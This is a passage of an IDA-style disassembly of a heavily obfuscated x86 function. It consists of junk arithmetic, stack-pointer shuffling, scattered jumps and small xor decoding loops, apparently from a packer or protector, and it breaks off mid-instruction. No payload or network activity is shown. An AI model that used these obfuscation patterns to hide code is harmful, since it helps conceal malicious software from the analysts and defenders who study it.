--------------------------------------------------------------------------- loc_58CBBA: ; CODE XREF: sub_57DD3A+E439j mov [esp+0BCh+var_BC], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0BCh+var_BC] mov esp, [esp+0BCh+var_BC] push eax mov eax, esp jmp loc_583934 ; --------------------------------------------------------------------------- loc_58CBD9: ; CODE XREF: sub_57DD3A+D3C1j pop esp push ebx mov ebx, 3C325A25h xor ebx, 3E325A25h and eax, ebx push [esp+8Ch+var_8C] pop ebx jmp loc_5834DC ; --------------------------------------------------------------------------- loc_58CBF1: ; CODE XREF: sub_57DD3A+50BEj sub ebx, 115C02A7h add ebx, ecx add ebx, 115C02A7h mov ecx, [esp+98h+var_98] jmp loc_586D13 ; --------------------------------------------------------------------------- loc_58CC07: ; CODE XREF: sub_57DD3A+581Bj push ebx push ebp jmp loc_58D115 ; --------------------------------------------------------------------------- loc_58CC0E: ; CODE XREF: sub_57DD3A+6626j add ecx, edi xor dword ptr [ecx], 0E62BC473h pop ecx loc_58CC17: ; CODE XREF: sub_57DD3A+4B37j ; sub_57DD3A+70AEj push [esp+94h+var_94] pop ebx push ebx mov ebx, esp jmp loc_581DD9 ; --------------------------------------------------------------------------- loc_58CC23: ; CODE XREF: sub_57DD3A+61FBj push ebp push 27EB2B48h pop ebp push 0 sub [esp+0B8h+var_B8], ebp jmp loc_586680 ; --------------------------------------------------------------------------- loc_58CC37: ; CODE XREF: sub_57DD3A+6ADBj mov [esp+86h+var_88+2], ebp mov ebp, 74C14623h xor ebp, 5C8A048Fh add ebp, 6CFD2338h dec ebp jmp loc_583E63 ; --------------------------------------------------------------------------- loc_58CC51: ; CODE XREF: sub_57DD3A+C605j shl eax, cl push edi push ecx mov ecx, 1 mov edi, ecx pop ecx sub esp, 4 jmp loc_58D2CE ; --------------------------------------------------------------------------- loc_58CC68: ; CODE XREF: sub_57DD3A+4FD4j xor eax, 7DAB7A9Ah jmp loc_58773D ; --------------------------------------------------------------------------- loc_58CC72: ; CODE XREF: sub_57DD3A+C832j push eax mov eax, 1C0F0FD6h sub edi, eax jmp loc_588037 ; --------------------------------------------------------------------------- loc_58CC7F: ; CODE XREF: sub_57DD3A+8F82j xchg ebp, [esp+86h+var_88+2] mov esp, [esp+86h+var_88+2] mov [esp+86h+var_88+2], ecx pop eax pop ecx push 74EBh mov [esp+82h+var_84+2], ecx jmp loc_58DE2C ; --------------------------------------------------------------------------- loc_58CC97: ; CODE XREF: sub_57DD3A+AF1Cj push esp pop [esp+78h+var_78] push eax mov eax, 4 jmp loc_588E3E ; --------------------------------------------------------------------------- loc_58CCA6: ; CODE XREF: sub_57DD3A+9B86j sub dl, 68h add dl, ch jmp loc_58A61E ; --------------------------------------------------------------------------- loc_58CCB0: ; CODE XREF: sub_57DD3A+FA76j mov ebx, [esp+0A8h+var_A8] add esp, 4 jmp loc_5828FC ; --------------------------------------------------------------------------- loc_58CCBB: ; CODE XREF: sub_57DD3A+D7D8j pop ebp push ebx push [esp+94h+var_90] pop ebx pop [esp+94h+var_94] pop esp jmp loc_588DE0 ; --------------------------------------------------------------------------- loc_58CCCB: ; CODE XREF: sub_57DD3A+6107j push edx mov dl, bl jmp loc_58420A ; --------------------------------------------------------------------------- loc_58CCD3: ; CODE XREF: sub_57DD3A+F369j mov ebp, [esp+9Ch+var_9C] add esp, 4 sub ecx, 4 jmp loc_586166 ; --------------------------------------------------------------------------- loc_58CCE4: ; CODE XREF: sub_57DD3A+F1C2j add ecx, edx pop edx xor ecx, [esp+94h+var_94] xor [esp+94h+var_94], ecx jmp loc_588174 ; --------------------------------------------------------------------------- loc_58CCF2: ; CODE XREF: sub_57DD3A+4363j pop esp mov [esp+5Eh+var_60+2], edx sub esp, 4 mov [esp+62h+var_64+2], eax push esi jmp loc_58A060 ; --------------------------------------------------------------------------- loc_58CD05: ; CODE XREF: sub_57DD3A+48F1j mov dl, ch pop ecx mov cl, dl pop edx mov eax, [esp+8Ch+var_8C] add esp, 4 jmp loc_5851A7 ; --------------------------------------------------------------------------- loc_58CD19: ; CODE XREF: sub_57DD3A+5A98j push ecx mov ecx, 0EC080EBFh sub ebp, ecx jmp loc_58481A ; --------------------------------------------------------------------------- loc_58CD26: ; CODE XREF: sub_57DD3A+D8ACj xor dword ptr [edi+20h], 50A5317h mov esi, [esp+6Eh+var_70+2] jmp loc_58286E ; --------------------------------------------------------------------------- loc_58CD35: ; CODE XREF: sub_57DD3A+A7C9j mov [esp+9Ch+var_9C], ebp push edi mov edi, 0C8F10C2h mov ebp, 0F370EF42h jmp loc_58C563 ; --------------------------------------------------------------------------- loc_58CD48: ; CODE XREF: sub_57DD3A+891Bj push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58737A ; --------------------------------------------------------------------------- loc_58CD5C: ; CODE XREF: sub_57DD3A+9627j mov [esp+0AAh+var_AC+2], ebx mov ebx, 3C52C91h dec ebx shr ebx, 5 push 27FEh jmp loc_58B35F ; --------------------------------------------------------------------------- loc_58CD72: ; CODE XREF: sub_57DD3A+DABCj push 2 pop eax jmp loc_58CA93 ; --------------------------------------------------------------------------- loc_58CD7D: ; CODE XREF: sub_57DD3A+7052j mov esi, [esp+6Ch+var_6C] jmp loc_58D449 ; --------------------------------------------------------------------------- loc_58CD85: ; CODE XREF: sub_57DD3A+4C27j sub bx, ax jmp loc_5894F0 ; --------------------------------------------------------------------------- loc_58CD8D: ; CODE XREF: sub_57DD3A+10235j mov ch, 5Ch jmp loc_582835 ; --------------------------------------------------------------------------- loc_58CD94: ; CODE XREF: sub_57DD3A+54F4j mov ecx, [esp+5Eh+var_60+2] push eax push esp pop eax add eax, 4 jmp loc_58BDB4 ; --------------------------------------------------------------------------- loc_58CDA4: ; CODE XREF: sub_57DD3A+DB7Cj push [esp+0A4h+var_A4] mov edx, [esp+0A8h+var_A8] add esp, 4 jmp loc_582724 ; --------------------------------------------------------------------------- loc_58CDB5: ; CODE XREF: sub_57DD3A+4D49j sub [esp+68h+var_68], edx pop edx jmp loc_58BC02 ; --------------------------------------------------------------------------- loc_58CDBE: ; CODE XREF: sub_57DD3A+9E94j mov ecx, 667B73DBh shl ecx, 5 or ecx, 641B5B02h sub ecx, 9B8553A5h sub edx, ecx pop ecx sub edx, esi add edx, 53FA27BDh push ebp mov ebp, 50385E85h add edx, ebp pop ebp jmp loc_587C70 ; --------------------------------------------------------------------------- loc_58CDEB: ; CODE XREF: sub_57DD3A+60EBj mov edx, [esp+0BCh+var_BC] add esp, 4 push eax mov eax, ebx mov edx, eax jmp loc_58AF9F ; --------------------------------------------------------------------------- loc_58CDFB: ; CODE XREF: sub_57DD3A+5994j mov dl, 73h and cl, dl pop dx add cl, 0Fh jmp loc_581E7C ; --------------------------------------------------------------------------- loc_58CE09: ; CODE XREF: sub_57DD3A+96BFj sub ch, dl sub ch, 97h pop edx add al, ch jmp loc_588C35 ; --------------------------------------------------------------------------- loc_58CE16: ; CODE XREF: sub_57DD3A+6C23j not cl sub cl, 12h mov dh, cl pop ecx shl dh, 7 push ebx mov bl, 0C9h xor bl, 0C8h add dh, bl pop ebx push dx mov dh, 8 sub al, 15h sub al, dh push edx mov dh, 0E3h sub dh, 22h and dh, 25h xor dh, 0A2h and dh, 32h xor dh, 37h add al, dh jmp loc_58D1FD ; --------------------------------------------------------------------------- loc_58CE4B: ; CODE XREF: sub_57DD3A+A846j pop ebx pop edx push ebx mov ebx, 4 add ebp, ebx pop ebx push ebp jmp loc_58DB1B ; --------------------------------------------------------------------------- loc_58CE5C: ; CODE XREF: sub_57DD3A+DA4Dj xor ch, dh mov dx, word ptr [esp+80h+var_80] add esp, 2 add ch, 1 push ax push edx push eax push ecx mov ch, 87h sub ch, 0ECh jmp loc_587BD3 ; --------------------------------------------------------------------------- loc_58CE77: ; CODE XREF: sub_57DD3A+F831j mov [esp+8Ah+var_8C+2], edi mov edi, 65CF3631h sub edi, 0FFFFFFFFh shr edi, 4 shl edi, 5 shl edi, 6 sub edi, 8E6AC74Eh jmp loc_58515B ; --------------------------------------------------------------------------- loc_58CE99: ; CODE XREF: sub_57DD3A+A3C5j xchg edx, [esp+7Ah+var_7C+2] pop esp bt [esp+76h+var_78+2], eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58CEA7: ; CODE XREF: sub_57DD3A+40D9j push esi mov esi, 58ED6779h jmp loc_589CD2 ; --------------------------------------------------------------------------- loc_58CEB2: ; CODE XREF: sub_57DD3A+D2F0j push ebx mov ebx, 0 add ebx, edx add eax, [ebx] mov ebx, [esp+0A0h+var_A0] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0A4h+var_A4] pop esp push [esp+0A0h+var_A0] mov edx, [esp+0A4h+var_A4] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_584E43 ; --------------------------------------------------------------------------- loc_58CEE6: ; CODE XREF: sub_57DD3A+FCB7j add [esp+0A8h+var_A8], eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58CEEF: ; CODE XREF: sub_57DD3A+44D5j mov edx, [esp+7Ah+var_7C+2] add esp, 4 pop ebp push edx mov edx, 2 jmp loc_58CCE4 ; --------------------------------------------------------------------------- loc_58CF01: ; CODE XREF: sub_57DD3A+74AEj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0C0h+var_C0] pop esp not edi jmp loc_58B6C5 ; --------------------------------------------------------------------------- loc_58CF1A: ; CODE XREF: sub_57DD3A+BC7Dj push 691Dh jmp loc_58C988 ; --------------------------------------------------------------------------- loc_58CF24: ; CODE XREF: sub_57DD3A+B6CAj or cl, 0FCh add cl, 63h inc cl jmp loc_58B2C1 ; --------------------------------------------------------------------------- loc_58CF31: ; CODE XREF: sub_57DD3A+F3B0j add ecx, 3FC7C91Eh or ebx, ecx pop ecx not ebx add ebx, 6AE3DEF1h add esi, ebx jmp loc_58B2D3 ; --------------------------------------------------------------------------- loc_58CF49: ; CODE XREF: sub_57DD3A+3FD8j mov edx, 17361499h or edx, 41321CACh xor edx, 0AD745BB4h jmp loc_58529B ; --------------------------------------------------------------------------- loc_58CF5F: ; CODE XREF: sub_57DD3A+AB1Cj push edi mov edi, 4 add esi, edi mov edi, [esp+60h+var_60] add esp, 4 push ecx mov ecx, 4 add esi, ecx pop ecx xor esi, [esp+5Ch+var_5C] xor [esp+5Ch+var_5C], esi xor esi, [esp+5Ch+var_5C] mov esp, [esp+5Ch+var_5C] push 66C8h mov [esp+60h+var_60], edi sub esp, 4 mov [esp+64h+var_64], ecx mov ecx, 800h push 6A7h mov [esp+68h+var_68], ecx push [esp+68h+var_68] pop edi push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+6Ch+var_6C] pop esp jmp loc_585BE0 ; --------------------------------------------------------------------------- loc_58CFB9: ; CODE XREF: sub_57DD3A+C28Cj push ebx push [esp+0DCh+var_D8] pop ebx jmp loc_58BF0C ; --------------------------------------------------------------------------- loc_58CFC4: ; CODE XREF: sub_57DD3A+94EDj add eax, 3DA46FBCh mov ecx, [esp+5Eh+var_60+2] jmp loc_5844FF ; --------------------------------------------------------------------------- loc_58CFD1: ; CODE XREF: sub_57DD3A+5F1Fj xchg edi, [esp+7Eh+var_80+2] jmp loc_58D635 ; --------------------------------------------------------------------------- loc_58CFD9: ; CODE XREF: sub_57DD3A+47D9j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58CFDE: ; CODE XREF: sub_57DD3A+DFF6j mov esi, 60D134F2h sub edx, esi pop esi pop esi add edx, 2 xchg edx, [esp+56h+var_58+2] jmp loc_585EC0 ; --------------------------------------------------------------------------- loc_58CFF2: ; CODE XREF: sub_57DD3A+B432j mov [esp+62h+var_64+2], ebx mov ebx, [esp+62h+var_64+2] push ebp push esp jmp loc_5882BC ; --------------------------------------------------------------------------- loc_58CFFF: ; CODE XREF: sub_57DD3A+A37Aj xchg ebx, [esp+76h+var_78+2] pop esp jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58D008: ; CODE XREF: sub_57DD3A+692Bj push edi mov edi, 4 add [esp+84h+var_80], edi pop edi jmp loc_58C022 ; --------------------------------------------------------------------------- loc_58D018: ; CODE XREF: sub_57DD3A+6F39j mov esp, [esp+84h+var_84] jmp loc_581E18 ; --------------------------------------------------------------------------- loc_58D020: ; CODE XREF: sub_57DD3A+537Dj mov [esp+0A2h+var_A4+2], edx mov edx, 95B21BF8h jmp loc_586E2B ; --------------------------------------------------------------------------- loc_58D02D: ; CODE XREF: sub_57DD3A+666Aj push edi mov edi, 4 jmp loc_58733F ; --------------------------------------------------------------------------- loc_58D038: ; CODE XREF: sub_57DD3A+48B6j mov esi, 275D0803h sub esi, 1DFCEF4h sub ebx, 9D7181Bh jmp loc_588D0E ; --------------------------------------------------------------------------- loc_58D04E: ; CODE XREF: sub_57DD3A+A569j mov [esp+7Eh+var_80+2], edx mov edx, 4 add edi, edx mov edx, [esp+7Eh+var_80+2] add esp, 4 add edi, 4 xor edi, [esp+7Ah+var_7C+2] xor [esp+7Ah+var_7C+2], edi jmp loc_58D39D ; --------------------------------------------------------------------------- loc_58D06F: ; CODE XREF: sub_57DD3A+EA4Cj mov eax, 0BCF23E4h xor edi, eax jmp loc_581E48 ; --------------------------------------------------------------------------- loc_58D07B: ; CODE XREF: sub_57DD3A+E4C8j sub esp, 4 mov [esp+9Ch+var_9C], ecx push ebx mov ebx, 3B526F22h mov ecx, ebx jmp loc_5830AD ; --------------------------------------------------------------------------- loc_58D08E: ; CODE XREF: sub_57DD3A+49D9j mov bl, 23h jmp loc_58722C ; --------------------------------------------------------------------------- lodsb xor al, bl push ecx mov ecx, esp push ebp mov ebp, 4 add ecx, ebp jmp loc_58CCD3 ; --------------------------------------------------------------------------- loc_58D0A8: ; CODE XREF: sub_57DD3A+90D4j sub edi, 2E1A65F9h jmp loc_581C60 ; --------------------------------------------------------------------------- loc_58D0B3: ; CODE XREF: sub_57DD3A+E549j sub edi, 68CA17D1h add edi, 0DD132CFh sub edi, 59813994h jmp loc_58D68B ; --------------------------------------------------------------------------- loc_58D0CA: ; CODE XREF: sub_57DD3A+74F2j add edi, ecx add edi, 779756Fh pop ecx jmp loc_582D13 ; --------------------------------------------------------------------------- loc_58D0D8: ; CODE XREF: sub_57DD3A+41C6j pop ebx pop [esp+76h+var_78+2] push [esp+72h+var_74+2] jmp loc_581EB1 ; --------------------------------------------------------------------------- loc_58D0E4: ; CODE XREF: sub_57DD3A+C415j push ecx mov ecx, 22FB45ACh jmp loc_58CF31 ; --------------------------------------------------------------------------- loc_58D0EF: ; CODE XREF: sub_57DD3A+5D66j sub [esp+66h+var_68+2], 15D303F6h push [esp+66h+var_68+2] mov eax, [esp+6Ah+var_6C+2] jmp loc_58A033 ; --------------------------------------------------------------------------- loc_58D101: ; CODE XREF: sub_57DD3A+8923j push ecx mov ecx, esp add ecx, 4 push edi mov edi, 45092C7Dh jmp loc_5833FD ; --------------------------------------------------------------------------- loc_58D115: ; CODE XREF: sub_57DD3A+EECFj mov ebp, 66135B44h jmp loc_587175 ; --------------------------------------------------------------------------- loc_58D11F: ; CODE XREF: sub_57DD3A+70A5j mov ecx, esp push edi jmp loc_58AF78 ; --------------------------------------------------------------------------- loc_58D127: ; CODE XREF: sub_57DD3A+10014j add ebp, 4 xchg ebp, [esp+0D8h+var_D8] mov esp, [esp+0D8h+var_D8] jmp loc_58DA16 ; --------------------------------------------------------------------------- loc_58D135: ; CODE XREF: sub_57DD3A+CACDj pop eax pop ebp add ecx, eax pop eax xchg ecx, [esp+50h+var_50] jmp loc_58D851 ; --------------------------------------------------------------------------- loc_58D142: ; CODE XREF: sub_57DD3A+8B8Fj push ecx mov ecx, 55FE4D11h mov edi, 0BEBED273h add edi, ecx mov ecx, [esp+8Ah+var_8C+2] add esp, 4 jmp loc_58C377 ; --------------------------------------------------------------------------- loc_58D15A: ; CODE XREF: sub_57DD3A+EE16j sub ebp, 51D5E8E1h jmp loc_585953 ; --------------------------------------------------------------------------- loc_58D165: ; CODE XREF: sub_57DD3A+62CBj push 35572EF2h pop ebp dec ebp inc ebp push 6030h jmp loc_585336 ; --------------------------------------------------------------------------- loc_58D177: ; CODE XREF: sub_57DD3A+F58Fj mov esi, ecx pop ecx add ebx, esi pop esi xchg ebx, [esp+0B4h+var_B4] pop esp xchg esi, [esp+0B0h+var_B0] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58D189: ; CODE XREF: sub_57DD3A+957Bj xor ecx, [esp+78h+var_78] jmp loc_58D531 ; --------------------------------------------------------------------------- loc_58D191: ; CODE XREF: sub_57DD3A+7372j sub [esp+80h+var_7C], 613C0879h mov edx, [esp+80h+var_80] add esp, 4 push [esp+7Ch+var_7C] pop ecx add esp, 4 sub esp, 4 mov [esp+7Ch+var_7C], ebp jmp loc_587621 ; --------------------------------------------------------------------------- loc_58D1B4: ; CODE XREF: sub_57DD3A+B582j sub al, 49h sub al, bl add al, 49h push bx mov bh, 0B6h sub al, bh jmp loc_584651 ; --------------------------------------------------------------------------- loc_58D1C5: ; CODE XREF: sub_57DD3A+AFF8j mov ebx, esp push esi push edx mov edx, 62B87353h mov esi, edx pop edx push ebx mov ebx, 37B358DDh shl ebx, 3 or ebx, 2C736FACh inc ebx push edi mov edi, 0 sub edi, ebx mov ebx, edi pop edi sub ebx, 0A4BC8362h add esi, ebx pop ebx add ebx, esi pop esi jmp loc_58B100 ; --------------------------------------------------------------------------- loc_58D1FD: ; CODE XREF: sub_57DD3A+F10Cj pop edx jmp loc_589184 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+8Eh+var_90+2] push ebp push esp pop ebp sub esp, 4 mov [esp+96h+var_98+2], eax mov eax, 49D17C73h shr eax, 7 xchg eax, edi not edi jmp loc_5830D4 ; --------------------------------------------------------------------------- loc_58D220: ; CODE XREF: sub_57DD3A+8628j sub bl, 0F3h not bl add bl, 0F1h mov ch, bl jmp loc_58D3F6 ; --------------------------------------------------------------------------- lodsb sub al, 91h jmp loc_58AA07 ; --------------------------------------------------------------------------- loc_58D237: ; CODE XREF: sub_57DD3A+4A8Fj add esi, ecx mov ecx, [esp+0AAh+var_AC+2] add esp, 4 add esi, 619367DEh add esi, ecx sub esi, 619367DEh sub esi, 4F894473h mov ecx, [esp+0A6h+var_A8+2] add esp, 4 push esi push [esp+0A6h+var_A4+2] pop esi pop [esp+0A6h+var_A8+2] pop esp idiv cl jmp loc_5859B7 ; --------------------------------------------------------------------------- loc_58D26A: ; CODE XREF: sub_57DD3A+75CFj mov edx, [esp+76h+var_78+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_584014 ; --------------------------------------------------------------------------- loc_58D27E: ; CODE XREF: sub_57DD3A+730Aj push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp+72h+var_74+2] jmp loc_58B614 ; --------------------------------------------------------------------------- loc_58D291: ; CODE XREF: sub_57DD3A+70DFj shl esi, 6 jmp loc_581A29 ; --------------------------------------------------------------------------- loc_58D299: ; CODE XREF: sub_57DD3A+BF44j push [esp+0A4h+var_A4] pop esi push ebx push 7322h mov [esp+0ACh+var_AC], esp push esi mov esi, 4 add [esp+0B0h+var_AC], esi pop esi pop ebx add ebx, 4 push esi push ecx mov ecx, 13726400h dec ecx dec ecx not ecx add ecx, 13726403h jmp loc_58D177 ; --------------------------------------------------------------------------- loc_58D2CE: ; CODE XREF: sub_57DD3A+EF29j mov [esp+8Eh+var_90+2], ecx jmp loc_5828B4 ; --------------------------------------------------------------------------- loc_58D2D6: ; CODE XREF: sub_57DD3A+B891j neg ah xchg ah, cl xor cl, 1Bh mov bh, cl jmp loc_588733 ; --------------------------------------------------------------------------- loc_58D2E4: ; CODE XREF: sub_57DD3A+DF54j sub bh, dh pop edx add al, bh pop ebx push small 72FBh mov word ptr [esp+8Ah+var_8C+2], dx jmp loc_58D320 ; --------------------------------------------------------------------------- loc_58D2F7: ; CODE XREF: sub_57DD3A+53B0j sub eax, 22A40110h mov esi, [esp+0A6h+var_A8+2] push esi jmp loc_585F2D ; --------------------------------------------------------------------------- loc_58D305: ; CODE XREF: sub_57DD3A+6982j pop esp loc_58D306: ; CODE XREF: sub_57DD3A+3EF2j push edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+0A6h+var_A8+2] pop esp mov [esp+0A2h+var_A4+2], ebx push edi jmp loc_58C95B ; --------------------------------------------------------------------------- loc_58D320: ; CODE XREF: sub_57DD3A+F5B8j push bx mov bh, 0D8h push eax push ecx mov cl, bh mov al, cl jmp loc_5874D6 ; --------------------------------------------------------------------------- loc_58D32F: ; CODE XREF: sub_57DD3A+CCD4j mov dl, 20h add dl, 3Ch add dl, 4Ch push ax mov al, 26h add dl, al jmp loc_582547 ; --------------------------------------------------------------------------- loc_58D342: ; CODE XREF: sub_57DD3A+CD34j add esi, 63AA1567h sub esi, edx sub esi, 63AA1567h pop edx add ebp, 4C71676Ah add ebp, esi sub ebp, 4C71676Ah mov esi, [esp+72h+var_74+2] jmp loc_587DF3 ; --------------------------------------------------------------------------- loc_58D367: ; CODE XREF: sub_57DD3A+B28Fj push edx push [esp+5Ch+var_58] mov edx, [esp+60h+var_60] add esp, 4 jmp loc_5826F0 ; --------------------------------------------------------------------------- loc_58D37A: ; CODE XREF: sub_57DD3A+4222j pop esp sub esp, 4 mov [esp+76h+var_78+2], edx sub esp, 4 jmp loc_58430F ; --------------------------------------------------------------------------- loc_58D38F: ; CODE XREF: sub_57DD3A+8A66j mov [esp+60h+var_60], ecx push edx mov edx, 7B4723CFh jmp loc_588D6D ; --------------------------------------------------------------------------- loc_58D39D: ; CODE XREF: sub_57DD3A+F330j xor edi, [esp+7Ah+var_7C+2] mov esp, [esp+7Ah+var_7C+2] add ebx, 1 xchg ebx, [edi+24h] jmp loc_5821C8 ; --------------------------------------------------------------------------- loc_58D3B1: ; CODE XREF: sub_57DD3A+8404j pop eax xor esi, 32F62753h sub esi, 4FE15B92h sub ebp, 779B56C0h add ebp, esi add ebp, 779B56C0h pop esi add ebp, 2 jmp loc_5820A2 ; --------------------------------------------------------------------------- loc_58D3D8: ; CODE XREF: sub_57DD3A+568Aj xor ebx, 4F2B75C8h push 4268h jmp loc_58971E ; --------------------------------------------------------------------------- loc_58D3E8: ; CODE XREF: sub_57DD3A+B4F7j add esi, ebp add esi, 7C636A1Dh pop ebp jmp loc_5865C8 ; --------------------------------------------------------------------------- loc_58D3F6: ; CODE XREF: sub_57DD3A+F4F0j pop ebx sub ch, dl pop edx xor ch, 0F6h add al, ch jmp loc_58A420 ; --------------------------------------------------------------------------- loc_58D404: ; CODE XREF: sub_57DD3A+C810j mov esi, 399F3D8Eh push edi mov edi, 13187B8Eh shl edi, 1 sub edi, 48CA17A4h not edi add edi, 20F6F4C7h sub esi, edi jmp loc_585348 ; --------------------------------------------------------------------------- loc_58D426: ; CODE XREF: sub_57DD3A+A8C8j add edx, 713B4A79h pop eax jmp loc_5884BB ; --------------------------------------------------------------------------- loc_58D432: ; CODE XREF: sub_57DD3A+62D5j add ch, bl pop ebx sub al, ch pop ecx push ecx mov ch, 75h shl ch, 2 not ch shl ch, 4 push edx jmp loc_583A37 ; --------------------------------------------------------------------------- loc_58D449: ; CODE XREF: sub_57DD3A+F046j add esp, 4 add ebp, 31D55133h dec ebp jmp loc_588EFF ; --------------------------------------------------------------------------- loc_58D45B: ; CODE XREF: sub_57DD3A+E494j add ebp, 48AB6D11h jmp loc_58553F ; --------------------------------------------------------------------------- loc_58D466: ; CODE XREF: sub_57DD3A+8753j mov ecx, 741018A9h jmp loc_589E06 ; --------------------------------------------------------------------------- loc_58D470: ; CODE XREF: sub_57DD3A+D002j mov ebx, 74596F5Bh dec ebx xor ebx, 0BBA5204h sub esi, ebx jmp loc_58A99D ; --------------------------------------------------------------------------- loc_58D483: ; CODE XREF: sub_57DD3A+A47Aj add esp, 4 push ecx mov ecx, esp push edx mov edx, 4 add ecx, edx mov edx, [esp+8Ah+var_8C+2] jmp loc_582508 ; --------------------------------------------------------------------------- lodsd jmp loc_588E98 ; --------------------------------------------------------------------------- loc_58D49F: ; CODE XREF: sub_57DD3A+660Aj mov edi, [esp+98h+var_98] push esi mov esi, esp add esi, 4 add esi, 4 push edi mov edi, esp jmp loc_582D56 ; --------------------------------------------------------------------------- loc_58D4B6: ; CODE XREF: sub_57DD3A+C09Cj mov ebx, 19E74164h add ebx, 2B106E67h jmp loc_5853AE ; --------------------------------------------------------------------------- loc_58D4C6: ; CODE XREF: sub_57DD3A+5C7Bj add ecx, 4 add ecx, 4 xchg ecx, [esp+70h+var_70] pop esp xor esi, [esp+6Ch+var_6C] xor [esp+6Ch+var_6C], esi xor esi, [esp+6Ch+var_6C] mov esp, [esp+6Ch+var_6C] movzx ecx, al push 4C22h mov [esp+70h+var_70], edx push esp pop edx add edx, 4 push eax jmp loc_582F21 ; --------------------------------------------------------------------------- loc_58D4F8: ; CODE XREF: sub_57DD3A+D2B1j shl eax, 2 inc eax shl eax, 4 push ebp mov ebp, 2E63C6h dec ebp shr ebp, 5 xor ebp, 59A91280h or ebp, 3B3155B9h add ebp, 10F3A269h sub eax, ebp pop ebp jmp loc_58B98C ; --------------------------------------------------------------------------- loc_58D523: ; CODE XREF: sub_57DD3A+75C9j pop eax sub al, 3Dh add al, 79h sub al, ch sub al, 79h jmp loc_581961 ; --------------------------------------------------------------------------- loc_58D531: ; CODE XREF: sub_57DD3A+F452j mov esp, [esp+78h+var_78] push ebx push eax push 3616h mov [esp+84h+var_84], ebx mov bh, dl push ecx push edx mov dh, bh jmp loc_58605A ; --------------------------------------------------------------------------- loc_58D549: ; CODE XREF: sub_57DD3A+969Dj shl dh, 2 jmp loc_58B5C8 ; --------------------------------------------------------------------------- loc_58D551: ; CODE XREF: sub_57DD3A+4A6Bj add esp, 4 add ebx, ebp mov ebp, [esp+0A6h+var_A8+2] add esp, 4 sub eax, ebx pop ebx add ebx, 28D52691h sub esp, 4 jmp loc_58CE77 ; --------------------------------------------------------------------------- loc_58D570: ; CODE XREF: sub_57DD3A+8181j sub ecx, 4 xchg ecx, [esp+50h+var_50] pop esp jmp loc_587FC5 ; --------------------------------------------------------------------------- loc_58D57C: ; CODE XREF: sub_57DD3A+CAC7j push eax push ebx jmp loc_58CB34 ; --------------------------------------------------------------------------- loc_58D583: ; CODE XREF: sub_57DD3A+6866j xor edi, 2961477Fh or edi, 7F5E23B8h xor edi, 65F14760h sub ebp, edi pop edi jmp loc_58BDE2 ; --------------------------------------------------------------------------- loc_58D59D: ; CODE XREF: sub_57DD3A+44E7j push 113Fh mov [esp+7Eh+var_80+2], esp add [esp+7Eh+var_80+2], 4 pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp+7Ah+var_7C+2] pop esp mov [esp+76h+var_78+2], ecx jmp loc_58A0B1 ; --------------------------------------------------------------------------- loc_58D5C5: ; CODE XREF: sub_57DD3A+DE60j mov ebp, 678B28EEh push 5486h mov [esp+74h+var_74], esi push ebx push 6ABC7BB6h jmp loc_58D5FC ; --------------------------------------------------------------------------- loc_58D5DD: ; CODE XREF: sub_57DD3A+6CA1j push edx mov edx, esp push eax mov eax, 1CE94865h sub eax, 26AE765Ah push ecx mov ecx, 0 sub ecx, eax mov eax, ecx pop ecx push ebp jmp loc_583740 ; --------------------------------------------------------------------------- loc_58D5FC: ; CODE XREF: sub_57DD3A+F89Ej pop ebx and ebx, 4EA6797Ch add ebx, 227995A4h jmp loc_588FCE ; --------------------------------------------------------------------------- loc_58D60E: ; CODE XREF: sub_57DD3A+B058j add ecx, edi pop edi push ecx push [esp+88h+var_84] mov ecx, [esp+8Ch+var_8C] add esp, 4 jmp loc_58B0D3 ; --------------------------------------------------------------------------- loc_58D624: ; CODE XREF: sub_57DD3A+8FD4j add ecx, 485C6Fh push ebp mov ebp, 7061F8Ch jmp loc_58AE04 ; --------------------------------------------------------------------------- loc_58D635: ; CODE XREF: sub_57DD3A+F29Aj mov esp, [esp+7Eh+var_80+2] jmp loc_58DC8D ; --------------------------------------------------------------------------- loc_58D63D: ; CODE XREF: sub_57DD3A+48BEj xor ecx, [esp+78h+var_78] mov esp, [esp+78h+var_78] push 3A6Eh mov [esp+7Ch+var_7C], edx push 292Dh mov [esp+80h+var_80], esi jmp loc_581E66 ; --------------------------------------------------------------------------- loc_58D658: ; CODE XREF: sub_57DD3A+7A69j add esp, 4 jmp loc_58D9A0 ; --------------------------------------------------------------------------- loc_58D663: ; CODE XREF: sub_57DD3A+3D09j or eax, 72371035h add eax, 0A46992A8h mov esi, eax pop eax jmp loc_5864AC ; --------------------------------------------------------------------------- loc_58D675: ; CODE XREF: sub_57DD3A+5A86j xor dl, al pop ax jmp loc_5873F3 ; --------------------------------------------------------------------------- loc_58D67E: ; CODE XREF: sub_57DD3A+9F59j sub edx, edi jmp loc_586384 ; --------------------------------------------------------------------------- push edx jmp loc_5838CD ; --------------------------------------------------------------------------- loc_58D68B: ; CODE XREF: sub_57DD3A+F38Bj pop ebx std push 0Ah push [esp+84h+var_84] mov ecx, [esp+88h+var_88] jmp loc_589E0E ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] mov eax, [esp+8Ch+var_8C] push ecx jmp loc_5819B9 ; --------------------------------------------------------------------------- loc_58D6A9: ; CODE XREF: sub_57DD3A+5684j dec edx sub edx, 0E69DFEEFh add eax, edx mov edx, [esp+0D4h+var_D4] jmp loc_5830E5 ; --------------------------------------------------------------------------- loc_58D6BA: ; CODE XREF: sub_57DD3A+D274j add ebx, 4 xchg ebx, [esp+6Ah+var_6C+2] jmp loc_58384D ; --------------------------------------------------------------------------- loc_58D6C8: ; CODE XREF: sub_57DD3A+E1CDj mov eax, [esp+0A2h+var_A4+2] add 